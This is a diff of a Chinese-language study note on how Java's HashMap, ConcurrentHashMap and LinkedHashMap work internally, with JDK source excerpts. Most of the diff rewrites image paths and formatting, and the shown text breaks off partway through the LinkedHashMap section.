-<img src="index_files/8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png" width="600"/>
+<div align="center"> <img src="pics/8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png" width="600"/> </div><br>
 
 ```java
-static class Entry<K,V> implements Map.Entry<K,V> {
-    final K key;
-    V value;
-    Entry<K,V> next;
-    int hash;
+static class Entry<K,V> implements Map.Entry<K,V> {
+    final K key;
+    V value;
+    Entry<K,V> next;
+    int hash;
 
-    Entry(int h, K k, V v, Entry<K,V> n) {
-        value = v;
-        next = n;
-        key = k;
-        hash = h;
-    }
+    Entry(int h, K k, V v, Entry<K,V> n) {
+        value = v;
+        next = n;
+        key = k;
+        hash = h;
+    }
 
-    public final K getKey() {
-        return key;
-    }
+    public final K getKey() {
+        return key;
+    }
 
-    public final V getValue() {
-        return value;
-    }
+    public final V getValue() {
+        return value;
+    }
 
-    public final V setValue(V newValue) {
-        V oldValue = value;
-        value = newValue;
-        return oldValue;
-    }
+    public final V setValue(V newValue) {
+        V oldValue = value;
+        value = newValue;
+        return oldValue;
+    }
 
-    public final boolean equals(Object o) {
-        if (!(o instanceof Map.Entry))
-            return false;
-        Map.Entry e = (Map.Entry)o;
-        Object k1 = getKey();
-        Object k2 = e.getKey();
-        if (k1 == k2 || (k1 != null && k1.equals(k2))) {
-            Object v1 = getValue();
-            Object v2 = e.getValue();
-            if (v1 == v2 || (v1 != null && v1.equals(v2)))
-                return true;
-        }
-        return false;
-    }
+    public final boolean equals(Object o) {
+        if (!(o instanceof Map.Entry))
+            return false;
+        Map.Entry e = (Map.Entry)o;
+        Object k1 = getKey();
+        Object k2 = e.getKey();
+        if (k1 == k2 || (k1 != null && k1.equals(k2))) {
+            Object v1 = getValue();
+            Object v2 = e.getValue();
+            if (v1 == v2 || (v1 != null && v1.equals(v2)))
+                return true;
+        }
+        return false;
+    }
 
-    public final int hashCode() {
-        return Objects.hashCode(getKey()) ^ Objects.hashCode(getValue());
-    }
+    public final int hashCode() {
+        return Objects.hashCode(getKey()) ^ Objects.hashCode(getValue());
+    }
 
-    public final String toString() {
-        return getKey() + "=" + getValue();
-    }
+    public final String toString() {
+        return getKey() + "=" + getValue();
+    }
 }
 ```
 
-### 2. 拉链法的工作原理
+### 2. 拉链法的工作原理
 
 ```java
-HashMap<String, String> map = new HashMap<>();
-map.put("K1", "V1");
-map.put("K2", "V2");
-map.put("K3", "V3");
+HashMap<String, String> map = new HashMap<>();
+map.put("K1", "V1");
+map.put("K2", "V2");
+map.put("K3", "V3");
 ```
 
-- 新建一个 HashMap，默认大小为 16；
-- 插入 &lt;K1,V1> 键值对，先计算 K1 的 hashCode 为 115，使用除留余数法得到所在的桶下标 115%16=3。
-- 插入 &lt;K2,V2> 键值对，先计算 K2 的 hashCode 为 118，使用除留余数法得到所在的桶下标 118%16=6。
-- 插入 &lt;K3,V3> 键值对，先计算 K3 的 hashCode 为 118，使用除留余数法得到所在的桶下标 118%16=6，插在 &lt;K2,V2> 前面。
+- 新建一个 HashMap，默认大小为 16；
+- 插入 &lt;K1,V1> 键值对，先计算 K1 的 hashCode 为 115，使用除留余数法得到所在的桶下标 115%16=3。
+- 插入 &lt;K2,V2> 键值对，先计算 K2 的 hashCode 为 118，使用除留余数法得到所在的桶下标 118%16=6。
+- 插入 &lt;K3,V3> 键值对，先计算 K3 的 hashCode 为 118，使用除留余数法得到所在的桶下标 118%16=6，插在 &lt;K2,V2> 前面。
 
-应该注意到链表的插入是以头插法方式进行的，例如上面的 &lt;K3,V3> 不是插在 &lt;K2,V2> 后面，而是插入在链表头部。
+应该注意到链表的插入是以头插法方式进行的，例如上面的 &lt;K3,V3> 不是插在 &lt;K2,V2> 后面，而是插入在链表头部。
 
 查找需要分成两步进行：
 
-- 计算键值对所在的桶；
-- 在链表上顺序查找，时间复杂度显然和链表的长度成正比。
+- 计算键值对所在的桶；
+- 在链表上顺序查找，时间复杂度显然和链表的长度成正比。
 
-<img src="index_files/49d6de7b-0d0d-425c-9e49-a1559dc23b10.png" width="600"/>
+<div align="center"> <img src="pics/49d6de7b-0d0d-425c-9e49-a1559dc23b10.png" width="600"/> </div><br>
 
-### 3. put 操作
+### 3. put 操作
 
 ```java
-public V put(K key, V value) {
-    if (table == EMPTY_TABLE) {
-        inflateTable(threshold);
-    }
-    // 键为 null 单独处理
-    if (key == null)
-        return putForNullKey(value);
-    int hash = hash(key);
-    // 确定桶下标
-    int i = indexFor(hash, table.length);
-    // 先找出是否已经存在键为 key 的键值对，如果存在的话就更新这个键值对的值为 value
-    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
-        Object k;
-        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
-            V oldValue = e.value;
-            e.value = value;
-            e.recordAccess(this);
-            return oldValue;
-        }
-    }
+public V put(K key, V value) {
+    if (table == EMPTY_TABLE) {
+        inflateTable(threshold);
+    }
+    // 键为 null 单独处理
+    if (key == null)
+        return putForNullKey(value);
+    int hash = hash(key);
+    // 确定桶下标
+    int i = indexFor(hash, table.length);
+    // 先找出是否已经存在键为 key 的键值对，如果存在的话就更新这个键值对的值为 value
+    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
+        Object k;
+        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
+            V oldValue = e.value;
+            e.value = value;
+            e.recordAccess(this);
+            return oldValue;
+        }
+    }
 
-    modCount++;
-    // 插入新键值对
-    addEntry(hash, key, value, i);
-    return null;
+    modCount++;
+    // 插入新键值对
+    addEntry(hash, key, value, i);
+    return null;
 }
 ```
 
-HashMap 允许插入键为 null 的键值对。但是因为无法调用 null 的 hashCode() 方法，也就无法确定该键值对的桶下标，只能通过强制指定一个桶下标来存放。HashMap 使用第 0 个桶存放键为 null 的键值对。
+HashMap 允许插入键为 null 的键值对。但是因为无法调用 null 的 hashCode() 方法，也就无法确定该键值对的桶下标，只能通过强制指定一个桶下标来存放。HashMap 使用第 0 个桶存放键为 null 的键值对。
 
 ```java
-private V putForNullKey(V value) {
-    for (Entry<K,V> e = table[0]; e != null; e = e.next) {
-        if (e.key == null) {
-            V oldValue = e.value;
-            e.value = value;
-            e.recordAccess(this);
-            return oldValue;
-        }
-    }
-    modCount++;
-    addEntry(0, null, value, 0);
-    return null;
+private V putForNullKey(V value) {
+    for (Entry<K,V> e = table[0]; e != null; e = e.next) {
+        if (e.key == null) {
+            V oldValue = e.value;
+            e.value = value;
+            e.recordAccess(this);
+            return oldValue;
+        }
+    }
+    modCount++;
+    addEntry(0, null, value, 0);
+    return null;
 }
 ```
 
 使用链表的头插法，也就是新的键值对插在链表的头部，而不是链表的尾部。
 
 ```java
-void addEntry(int hash, K key, V value, int bucketIndex) {
-    if ((size >= threshold) && (null != table[bucketIndex])) {
-        resize(2 * table.length);
-        hash = (null != key) ? hash(key) : 0;
-        bucketIndex = indexFor(hash, table.length);
-    }
+void addEntry(int hash, K key, V value, int bucketIndex) {
+    if ((size >= threshold) && (null != table[bucketIndex])) {
+        resize(2 * table.length);
+        hash = (null != key) ? hash(key) : 0;
+        bucketIndex = indexFor(hash, table.length);
+    }
 
-    createEntry(hash, key, value, bucketIndex);
+    createEntry(hash, key, value, bucketIndex);
 }
 
-void createEntry(int hash, K key, V value, int bucketIndex) {
-    Entry<K,V> e = table[bucketIndex];
-    // 头插法，链表头部指向新的键值对
-    table[bucketIndex] = new Entry<>(hash, key, value, e);
-    size++;
+void createEntry(int hash, K key, V value, int bucketIndex) {
+    Entry<K,V> e = table[bucketIndex];
+    // 头插法，链表头部指向新的键值对
+    table[bucketIndex] = new Entry<>(hash, key, value, e);
+    size++;
 }
 ```
 
 ```java
-Entry(int h, K k, V v, Entry<K,V> n) {
-    value = v;
-    next = n;
-    key = k;
-    hash = h;
+Entry(int h, K k, V v, Entry<K,V> n) {
+    value = v;
+    next = n;
+    key = k;
+    hash = h;
 }
 ```
 
-### 4. 确定桶下标
+### 4. 确定桶下标
 
 很多操作都需要先确定一个键值对所在的桶下标。
 
 ```java
-int hash = hash(key);
-int i = indexFor(hash, table.length);
+int hash = hash(key);
+int i = indexFor(hash, table.length);
 ```
 
-**4.1 计算 hash 值**
+**4.1 计算 hash 值** 
 
 ```java
-final int hash(Object k) {
-    int h = hashSeed;
-    if (0 != h && k instanceof String) {
-        return sun.misc.Hashing.stringHash32((String) k);
-    }
+final int hash(Object k) {
+    int h = hashSeed;
+    if (0 != h && k instanceof String) {
+        return sun.misc.Hashing.stringHash32((String) k);
+    }
 
-    h ^= k.hashCode();
+    h ^= k.hashCode();
 
-    // This function ensures that hashCodes that differ only by
-    // constant multiples at each bit position have a bounded
-    // number of collisions (approximately 8 at default load factor).
-    h ^= (h >>> 20) ^ (h >>> 12);
-    return h ^ (h >>> 7) ^ (h >>> 4);
+    // This function ensures that hashCodes that differ only by
+    // constant multiples at each bit position have a bounded
+    // number of collisions (approximately 8 at default load factor).
+    h ^= (h >>> 20) ^ (h >>> 12);
+    return h ^ (h >>> 7) ^ (h >>> 4);
 }
 ```
 
 ```java
-public final int hashCode() {
-    return Objects.hashCode(key) ^ Objects.hashCode(value);
+public final int hashCode() {
+    return Objects.hashCode(key) ^ Objects.hashCode(value);
 }
 ```
 
-**4.2 取模**
+**4.2 取模** 
 
-令 x = 1<<4，即 x 为 2 的 4 次方，它具有以下性质：
+令 x = 1<<4，即 x 为 2 的 4 次方，它具有以下性质：
 
 ```
-x   : 00010000
-x-1 : 00001111
+x   : 00010000
+x-1 : 00001111
 ```
 
-令一个数 y 与 x-1 做与运算，可以去除 y 位级表示的第 4 位以上数：
+令一个数 y 与 x-1 做与运算，可以去除 y 位级表示的第 4 位以上数：
 
 ```
-y       : 10110010
-x-1     : 00001111
-y&(x-1) : 00000010
+y       : 10110010
+x-1     : 00001111
+y&(x-1) : 00000010
 ```
 
-这个性质和 y 对 x 取模效果是一样的：
+这个性质和 y 对 x 取模效果是一样的：
 
 ```
-y   : 10110010
-x   : 00010000
-y%x : 00000010
+y   : 10110010
+x   : 00010000
+y%x : 00000010
 ```
 
 我们知道，位运算的代价比求模运算小的多，因此在进行这种计算时用位运算的话能带来更高的性能。
 
-确定桶下标的最后一步是将 key 的 hash 值对桶个数取模：hash%capacity，如果能保证 capacity 为 2 的 n 次方，那么就可以将这个操作转换为位运算。
+确定桶下标的最后一步是将 key 的 hash 值对桶个数取模：hash%capacity，如果能保证 capacity 为 2 的 n 次方，那么就可以将这个操作转换为位运算。
 
 ```java
-static int indexFor(int h, int length) {
-    return h & (length-1);
+static int indexFor(int h, int length) {
+    return h & (length-1);
 }
 ```
 
-### 5. 扩容-基本原理
+### 5. 扩容-基本原理
 
-设 HashMap 的 table 长度为 M，需要存储的键值对数量为 N，如果哈希函数满足均匀性的要求，那么每条链表的长度大约为 N/M，因此平均查找次数的复杂度为 O(N/M)。
+设 HashMap 的 table 长度为 M，需要存储的键值对数量为 N，如果哈希函数满足均匀性的要求，那么每条链表的长度大约为 N/M，因此平均查找次数的复杂度为 O(N/M)。
 
-为了让查找的成本降低，应该尽可能使得 N/M 尽可能小，因此需要保证 M 尽可能大，也就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值，使得空间效率和时间效率都能得到保证。
+为了让查找的成本降低，应该尽可能使得 N/M 尽可能小，因此需要保证 M 尽可能大，也就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值，使得空间效率和时间效率都能得到保证。
 
-和扩容相关的参数主要有：capacity、size、threshold 和 load_factor。
+和扩容相关的参数主要有：capacity、size、threshold 和 load_factor。
 
-| 参数 | 含义 |
-| :--: | :-- |
-| capacity | table 的容量大小，默认为 16。需要注意的是 capacity 必须保证为 2 的 n 次方。|
-| size | 键值对数量。 |
-| threshold | size 的临界值，当 size 大于等于 threshold 就必须进行扩容操作。 |
-| loadFactor | 装载因子，table 能够使用的比例，threshold = capacity * loadFactor。|
+| 参数 | 含义 |
+| :--: | :-- |
+| capacity | table 的容量大小，默认为 16。需要注意的是 capacity 必须保证为 2 的 n 次方。|
+| size | 键值对数量。 |
+| threshold | size 的临界值，当 size 大于等于 threshold 就必须进行扩容操作。 |
+| loadFactor | 装载因子，table 能够使用的比例，threshold = capacity * loadFactor。|
 
 ```java
-static final int DEFAULT_INITIAL_CAPACITY = 16;
+static final int DEFAULT_INITIAL_CAPACITY = 16;
 
-static final int MAXIMUM_CAPACITY = 1 << 30;
+static final int MAXIMUM_CAPACITY = 1 << 30;
 
-static final float DEFAULT_LOAD_FACTOR = 0.75f;
+static final float DEFAULT_LOAD_FACTOR = 0.75f;
 
-transient Entry[] table;
+transient Entry[] table;
 
-transient int size;
+transient int size;
 
-int threshold;
+int threshold;
 
-final float loadFactor;
+final float loadFactor;
 
-transient int modCount;
+transient int modCount;
 ```
 
-从下面的添加元素代码中可以看出，当需要扩容时，令 capacity 为原来的两倍。
+从下面的添加元素代码中可以看出，当需要扩容时，令 capacity 为原来的两倍。
 
 ```java
-void addEntry(int hash, K key, V value, int bucketIndex) {
-    Entry<K,V> e = table[bucketIndex];
-    table[bucketIndex] = new Entry<>(hash, key, value, e);
-    if (size++ >= threshold)
-        resize(2 * table.length);
+void addEntry(int hash, K key, V value, int bucketIndex) {
+    Entry<K,V> e = table[bucketIndex];
+    table[bucketIndex] = new Entry<>(hash, key, value, e);
+    if (size++ >= threshold)
+        resize(2 * table.length);
 }
 ```
 
-扩容使用 resize() 实现，需要注意的是，扩容操作同样需要把 oldTable 的所有键值对重新插入 newTable 中，因此这一步是很费时的。
+扩容使用 resize() 实现，需要注意的是，扩容操作同样需要把 oldTable 的所有键值对重新插入 newTable 中，因此这一步是很费时的。
 
 ```java
-void resize(int newCapacity) {
-    Entry[] oldTable = table;
-    int oldCapacity = oldTable.length;
-    if (oldCapacity == MAXIMUM_CAPACITY) {
-        threshold = Integer.MAX_VALUE;
-        return;
-    }
-    Entry[] newTable = new Entry[newCapacity];
-    transfer(newTable);
-    table = newTable;
-    threshold = (int)(newCapacity * loadFactor);
+void resize(int newCapacity) {
+    Entry[] oldTable = table;
+    int oldCapacity = oldTable.length;
+    if (oldCapacity == MAXIMUM_CAPACITY) {
+        threshold = Integer.MAX_VALUE;
+        return;
+    }
+    Entry[] newTable = new Entry[newCapacity];
+    transfer(newTable);
+    table = newTable;
+    threshold = (int)(newCapacity * loadFactor);
 }
 
-void transfer(Entry[] newTable) {
-    Entry[] src = table;
-    int newCapacity = newTable.length;
-    for (int j = 0; j < src.length; j++) {
-        Entry<K,V> e = src[j];
-        if (e != null) {
-            src[j] = null;
-            do {
-                Entry<K,V> next = e.next;
-                int i = indexFor(e.hash, newCapacity);
-                e.next = newTable[i];
-                newTable[i] = e;
-                e = next;
-            } while (e != null);
-        }
-    }
+void transfer(Entry[] newTable) {
+    Entry[] src = table;
+    int newCapacity = newTable.length;
+    for (int j = 0; j < src.length; j++) {
+        Entry<K,V> e = src[j];
+        if (e != null) {
+            src[j] = null;
+            do {
+                Entry<K,V> next = e.next;
+                int i = indexFor(e.hash, newCapacity);
+                e.next = newTable[i];
+                newTable[i] = e;
+                e = next;
+            } while (e != null);
+        }
+    }
 }
 ```
 
-### 6. 扩容-重新计算桶下标
+### 6. 扩容-重新计算桶下标
 
-在进行扩容时，需要把键值对重新放到对应的桶上。HashMap 使用了一个特殊的机制，可以降低重新计算桶下标的操作。
+在进行扩容时，需要把键值对重新放到对应的桶上。HashMap 使用了一个特殊的机制，可以降低重新计算桶下标的操作。
 
-假设原数组长度 capacity 为 16，扩容之后 new capacity 为 32：
+假设原数组长度 capacity 为 16，扩容之后 new capacity 为 32：
 
 ```html
-capacity     : 00010000
-new capacity : 00100000
+capacity     : 00010000
+new capacity : 00100000
 ```
 
-对于一个 Key，
+对于一个 Key，
 
-- 它的哈希值如果在第 5 位上为 0，那么取模得到的结果和之前一样；
-- 如果为 1，那么得到的结果为原来的结果 +16。
+- 它的哈希值如果在第 5 位上为 0，那么取模得到的结果和之前一样；
+- 如果为 1，那么得到的结果为原来的结果 +16。
 
-### 7. 计算数组容量
+### 7. 计算数组容量
 
-HashMap 构造函数允许用户传入的容量不是 2 的 n 次方，因为它可以自动地将传入的容量转换为 2 的 n 次方。
+HashMap 构造函数允许用户传入的容量不是 2 的 n 次方，因为它可以自动地将传入的容量转换为 2 的 n 次方。
 
-先考虑如何求一个数的掩码，对于 10010000，它的掩码为 11111111，可以使用以下方法得到：
+先考虑如何求一个数的掩码，对于 10010000，它的掩码为 11111111，可以使用以下方法得到：
 
 ```
-mask |= mask >> 1    11011000
-mask |= mask >> 2    11111110
-mask |= mask >> 4    11111111
+mask |= mask >> 1    11011000
+mask |= mask >> 2    11111110
+mask |= mask >> 4    11111111
 ```
 
-mask+1 是大于原始数字的最小的 2 的 n 次方。
+mask+1 是大于原始数字的最小的 2 的 n 次方。
 
 ```
-num     10010000
-mask+1 100000000
+num     10010000
+mask+1 100000000
 ```
 
-以下是 HashMap 中计算数组容量的代码：
+以下是 HashMap 中计算数组容量的代码：
 
 ```java
-static final int tableSizeFor(int cap) {
-    int n = cap - 1;
-    n |= n >>> 1;
-    n |= n >>> 2;
-    n |= n >>> 4;
-    n |= n >>> 8;
-    n |= n >>> 16;
-    return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;
+static final int tableSizeFor(int cap) {
+    int n = cap - 1;
+    n |= n >>> 1;
+    n |= n >>> 2;
+    n |= n >>> 4;
+    n |= n >>> 8;
+    n |= n >>> 16;
+    return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;
 }
 ```
 
-### 8. 链表转红黑树
+### 8. 链表转红黑树
 
-从 JDK 1.8 开始，一个桶存储的链表长度大于 8 时会将链表转换为红黑树。
+从 JDK 1.8 开始，一个桶存储的链表长度大于 8 时会将链表转换为红黑树。
 
-### 9. 与 HashTable 的比较
+### 9. 与 HashTable 的比较
 
-- HashTable 使用 synchronized 来进行同步。
-- HashMap 可以插入键为 null 的 Entry。
-- HashMap 的迭代器是 fail-fast 迭代器。
-- HashMap 不能保证随着时间的推移 Map 中的元素次序是不变的。
+- HashTable 使用 synchronized 来进行同步。
+- HashMap 可以插入键为 null 的 Entry。
+- HashMap 的迭代器是 fail-fast 迭代器。
+- HashMap 不能保证随着时间的推移 Map 中的元素次序是不变的。
 
-## ConcurrentHashMap
+## ConcurrentHashMap
 
-### 1. 存储结构
+### 1. 存储结构
 
 ```java
-static final class HashEntry<K,V> {
-    final int hash;
-    final K key;
-    volatile V value;
-    volatile HashEntry<K,V> next;
+static final class HashEntry<K,V> {
+    final int hash;
+    final K key;
+    volatile V value;
+    volatile HashEntry<K,V> next;
 }
 ```
 
-ConcurrentHashMap 和 HashMap 实现上类似，最主要的差别是 ConcurrentHashMap 采用了分段锁（Segment），每个分段锁维护着几个桶（HashEntry），多个线程可以同时访问不同分段锁上的桶，从而使其并发度更高（并发度就是 Segment 的个数）。
+ConcurrentHashMap 和 HashMap 实现上类似，最主要的差别是 ConcurrentHashMap 采用了分段锁（Segment），每个分段锁维护着几个桶（HashEntry），多个线程可以同时访问不同分段锁上的桶，从而使其并发度更高（并发度就是 Segment 的个数）。
 
-Segment 继承自 ReentrantLock。
+Segment 继承自 ReentrantLock。
 
 ```java
-static final class Segment<K,V> extends ReentrantLock implements Serializable {
+static final class Segment<K,V> extends ReentrantLock implements Serializable {
 
-    private static final long serialVersionUID = 2249069246763182397L;
+    private static final long serialVersionUID = 2249069246763182397L;
 
-    static final int MAX_SCAN_RETRIES =
-        Runtime.getRuntime().availableProcessors() > 1 ? 64 : 1;
+    static final int MAX_SCAN_RETRIES =
+        Runtime.getRuntime().availableProcessors() > 1 ? 64 : 1;
 
-    transient volatile HashEntry<K,V>[] table;
+    transient volatile HashEntry<K,V>[] table;
 
-    transient int count;
+    transient int count;
 
-    transient int modCount;
+    transient int modCount;
 
-    transient int threshold;
+    transient int threshold;
 
-    final float loadFactor;
+    final float loadFactor;
 }
 ```
 
 ```java
-final Segment<K,V>[] segments;
+final Segment<K,V>[] segments;
 ```
 
-默认的并发级别为 16，也就是说默认创建 16 个 Segment。
+默认的并发级别为 16，也就是说默认创建 16 个 Segment。
 
 ```java
-static final int DEFAULT_CONCURRENCY_LEVEL = 16;
+static final int DEFAULT_CONCURRENCY_LEVEL = 16;
 ```
 
-![](index_files/3fdfc89d-719e-4d93-b518-29fa612b3b18.png)
+<div align="center"> <img src="pics/3fdfc89d-719e-4d93-b518-29fa612b3b18.png"/> </div><br>
 
-### 2. size 操作
+### 2. size 操作
 
-每个 Segment 维护了一个 count 变量来统计该 Segment 中的键值对个数。
+每个 Segment 维护了一个 count 变量来统计该 Segment 中的键值对个数。
 
 ```java
 /**
- * The number of elements. Accessed only either within locks
- * or among other volatile reads that maintain visibility.
- */
-transient int count;
+ * The number of elements. Accessed only either within locks
+ * or among other volatile reads that maintain visibility.
+ */
+transient int count;
 ```
 
-在执行 size 操作时，需要遍历所有 Segment 然后把 count 累计起来。
+在执行 size 操作时，需要遍历所有 Segment 然后把 count 累计起来。
 
-ConcurrentHashMap 在执行 size 操作时先尝试不加锁，如果连续两次不加锁操作得到的结果一致，那么可以认为这个结果是正确的。
+ConcurrentHashMap 在执行 size 操作时先尝试不加锁，如果连续两次不加锁操作得到的结果一致，那么可以认为这个结果是正确的。
 
-尝试次数使用 RETRIES_BEFORE_LOCK 定义，该值为 2，retries 初始值为 -1，因此尝试次数为 3。
+尝试次数使用 RETRIES_BEFORE_LOCK 定义，该值为 2，retries 初始值为 -1，因此尝试次数为 3。
 
-如果尝试的次数超过 3 次，就需要对每个 Segment 加锁。
+如果尝试的次数超过 3 次，就需要对每个 Segment 加锁。
 
 ```java
 
 /**
- * Number of unsynchronized retries in size and containsValue
- * methods before resorting to locking. This is used to avoid
- * unbounded retries if tables undergo continuous modification
- * which would make it impossible to obtain an accurate result.
- */
-static final int RETRIES_BEFORE_LOCK = 2;
+ * Number of unsynchronized retries in size and containsValue
+ * methods before resorting to locking. This is used to avoid
+ * unbounded retries if tables undergo continuous modification
+ * which would make it impossible to obtain an accurate result.
+ */
+static final int RETRIES_BEFORE_LOCK = 2;
 
-public int size() {
-    // Try a few times to get accurate count. On failure due to
-    // continuous async changes in table, resort to locking.
-    final Segment<K,V>[] segments = this.segments;
-    int size;
-    boolean overflow; // true if size overflows 32 bits
-    long sum;         // sum of modCounts
-    long last = 0L;   // previous sum
-    int retries = -1; // first iteration isn't retry
-    try {
-        for (;;) {
-            // 超过尝试次数，则对每个 Segment 加锁
-            if (retries++ == RETRIES_BEFORE_LOCK) {
-                for (int j = 0; j < segments.length; ++j)
-                    ensureSegment(j).lock(); // force creation
-            }
-            sum = 0L;
-            size = 0;
-            overflow = false;
-            for (int j = 0; j < segments.length; ++j) {
-                Segment<K,V> seg = segmentAt(segments, j);
-                if (seg != null) {
-                    sum += seg.modCount;
-                    int c = seg.count;
-                    if (c < 0 || (size += c) < 0)
-                        overflow = true;
-                }
-            }
-            // 连续两次得到的结果一致，则认为这个结果是正确的
-            if (sum == last)
-                break;
-            last = sum;
-        }
-    } finally {
-        if (retries > RETRIES_BEFORE_LOCK) {
-            for (int j = 0; j < segments.length; ++j)
-                segmentAt(segments, j).unlock();
-        }
-    }
-    return overflow ? Integer.MAX_VALUE : size;
+public int size() {
+    // Try a few times to get accurate count. On failure due to
+    // continuous async changes in table, resort to locking.
+    final Segment<K,V>[] segments = this.segments;
+    int size;
+    boolean overflow; // true if size overflows 32 bits
+    long sum;         // sum of modCounts
+    long last = 0L;   // previous sum
+    int retries = -1; // first iteration isn't retry
+    try {
+        for (;;) {
+            // 超过尝试次数，则对每个 Segment 加锁
+            if (retries++ == RETRIES_BEFORE_LOCK) {
+                for (int j = 0; j < segments.length; ++j)
+                    ensureSegment(j).lock(); // force creation
+            }
+            sum = 0L;
+            size = 0;
+            overflow = false;
+            for (int j = 0; j < segments.length; ++j) {
+                Segment<K,V> seg = segmentAt(segments, j);
+                if (seg != null) {
+                    sum += seg.modCount;
+                    int c = seg.count;
+                    if (c < 0 || (size += c) < 0)
+                        overflow = true;
+                }
+            }
+            // 连续两次得到的结果一致，则认为这个结果是正确的
+            if (sum == last)
+                break;
+            last = sum;
+        }
+    } finally {
+        if (retries > RETRIES_BEFORE_LOCK) {
+            for (int j = 0; j < segments.length; ++j)
+                segmentAt(segments, j).unlock();
+        }
+    }
+    return overflow ? Integer.MAX_VALUE : size;
 }
 ```
 
-### 3. JDK 1.8 的改动
+### 3. JDK 1.8 的改动
 
-JDK 1.7 使用分段锁机制来实现并发更新操作，核心类为 Segment，它继承自重入锁 ReentrantLock，并发度与 Segment 数量相等。
+JDK 1.7 使用分段锁机制来实现并发更新操作，核心类为 Segment，它继承自重入锁 ReentrantLock，并发度与 Segment 数量相等。
 
-JDK 1.8 使用了 CAS 操作来支持更高的并发度，在 CAS 操作失败时使用内置锁 synchronized。
+JDK 1.8 使用了 CAS 操作来支持更高的并发度，在 CAS 操作失败时使用内置锁 synchronized。
 
-并且 JDK 1.8 的实现也在链表过长时会转换为红黑树。
+并且 JDK 1.8 的实现也在链表过长时会转换为红黑树。
 
-## LinkedHashMap
+## LinkedHashMap
 
-### 存储结构
+### 存储结构
 
-继承自 HashMap，因此具有和 HashMap 一样的快速查找特性。
+继承自 HashMap，因此具有和 HashMap 一样的快速查找特性。
 
 ```java
-public class LinkedHashMap<K,V> extends HashMap<K,V> implements Map<K,V>
+public class LinkedHashMap<K,V> extends HashMap<K,V> implements Map<K,V>
 ```
 
-内部维护了一个双向链表，用来维护插入顺序或者 LRU 顺序。
+内部维护了一个双向链表，用来维护插入顺序或者 LRU 顺序。
 
 ```java
 /**
- * The head (eldest) of the doubly linked list.
- */
-transient LinkedHashMap.Entry<K,V> head;
+ * The head (eldest) of the doubly linked list.
+ */
+transient LinkedHashMap.Entry<K,V> head;
 
 /**
- * The tail (youngest) of the doubly linked list.
- */
-transient LinkedHashMap.Entry<K,V> tail;
+ * The tail (youngest) of the doubly linked list.
+ */
+transient LinkedHashMap.Entry<K,V> tail;
 ```
 
-accessOrder 决定了顺序，默认为 false，此时维护的是插入顺序。
+accessOrder 决定了顺序，默认为 false，此时维护的是插入顺序。
 
 ```java
-final boolean accessOrder;
+final boolean accessOrder;
 ```
 
-LinkedHashMap 最重要的是以下用于维护顺序的函数，它们会在 put、get 等方法中调用。
+LinkedHashMap 最重要的是以下用于维护顺序的函数，它们会在 put、get 等方法中调用。
 
 ```java
-void afterNodeAccess(Node<K,V> p) { }
-void afterNodeInsertion(boolean evict) { }
+void afterNodeAccess(Node<K,V> p) { }
+void afterNodeInsertion(boolean evict) { }
 ```
 
-### afterNodeAccess()
+### afterNodeAccess()
 
-当一个节点被访问时，如果 accessOrder 为 true，则会将该节点移到链表尾部。也就是说指定为 LRU 顺序之后，在每次访问一个节点时，会将这个节点移到链表尾部，保证链表尾部是最近访问的节点，那么链表首部就是最近最久未使用的节点。
+当一个节点被访问时，如果 accessOrder 为 true，则会将该节点移到链表尾部。也就是说指定为 LRU 顺序之后，在每次访问一个节点时，会将这个节点移到链表尾部，保证链表尾部是最近访问的节点，那么链表首部就是最近最久未使用的节点。
 
 ```java
-void afterNodeAccess(Node<K,V> e) { // move node to last
-    LinkedHashMap.Entry<K,V> last;
-    if (accessOrder && (last = tail) != e) {
-        LinkedHashMap.Entry<K,V> p =
-            (LinkedHashMap.Entry<K,V>)e, b = p.before, a = p.after;
-        p.after = null;
-        if (b == null)
-            head = a;
-        else
-            b.after = a;
-        if (a != null)
-            a.before = b;
-        else
-            last = b;
-        if (last == null)
-            head = p;
-        else {
-            p.before = last;
-            last.after = p;
-        }
-        tail = p;
-        ++modCount;
-    }
+void afterNodeAccess(Node<K,V> e) { // move node to last
+    LinkedHashMap.Entry<K,V> last;
+    if (accessOrder && (last = tail) != e) {
+        LinkedHashMap.Entry<K,V> p =
+            (LinkedHashMap.Entry<K,V>)e, b = p.before, a = p.after;
+        p.after = null;
+        if (b == null)
+            head = a;
+        else
+            b.after = a;
+        if (a != null)
+            a.before = b;
+        else
+            last = b;
+        if (last == null)
+            head = p;
+        else {
+            p.before = last;
+            last.after = p;
+        }
+        tail = p;
+        ++modCount;
+    }
 }
 ```
 
-### afterNodeInsertion()
+### afterNodeInsertion()
 
-在 put 等操作之后执行，当 removeEldestEntry() 方法返回 true 时会移除最晚的节点，也就是链表首部节点 first。
+在 put 等操作之后执行，当 removeEldestEntry() 方法返回 true 时会移除最晚的节点，也就是链表首部节点 first。
 
-evict 只有在构建 Map 的时候才为 false，在这里为 true。
+evict 只有在构建 Map 的时候才为 false，在这里为 true。
 
 ```java
-void afterNodeInsertion(boolean evict) { // possibly remove eldest
-    LinkedHashMap.Entry<K,V> first;
-    if (evict && (first = head) != null && removeEldestEntry(first)) {
-        K key = first.key;
-        removeNode(hash(key), key, null, false, true);
-    }
+void afterNodeInsertion(boolean evict) { // possibly remove eldest
+    LinkedHashMap.Entry<K,V> first;
+    if (evict && (first = head) != null && removeEldestEntry(first)) {
+        K key = first.key;
+        removeNode(hash(key), key, null, false, true);
+    }
 }
 ```
 
-removeEldestEntry() 默认为 false，如果需要让它为 true，需要继承 LinkedHashMap 并且覆盖这个方法的实现，这在实现 LRU 的缓存中特别有用，通过移除最近最久未使用的节点，从而保证缓存空间足够，并且缓存的数据都是热点数据。
+removeEldestEntry() 默认为 false，如果需要让它为 true，需要继承 LinkedHashMap 并且覆盖这个方法的实现，这在实现 LRU 的缓存中特别有用，通过移除最近最久未使用的节点，从而保证缓存空间足够，并且缓存的数据都是热点数据。
 
 ```java
-protected boolean removeEldestEntry(Map.Entry<K,V> eldest) {
-    return false;
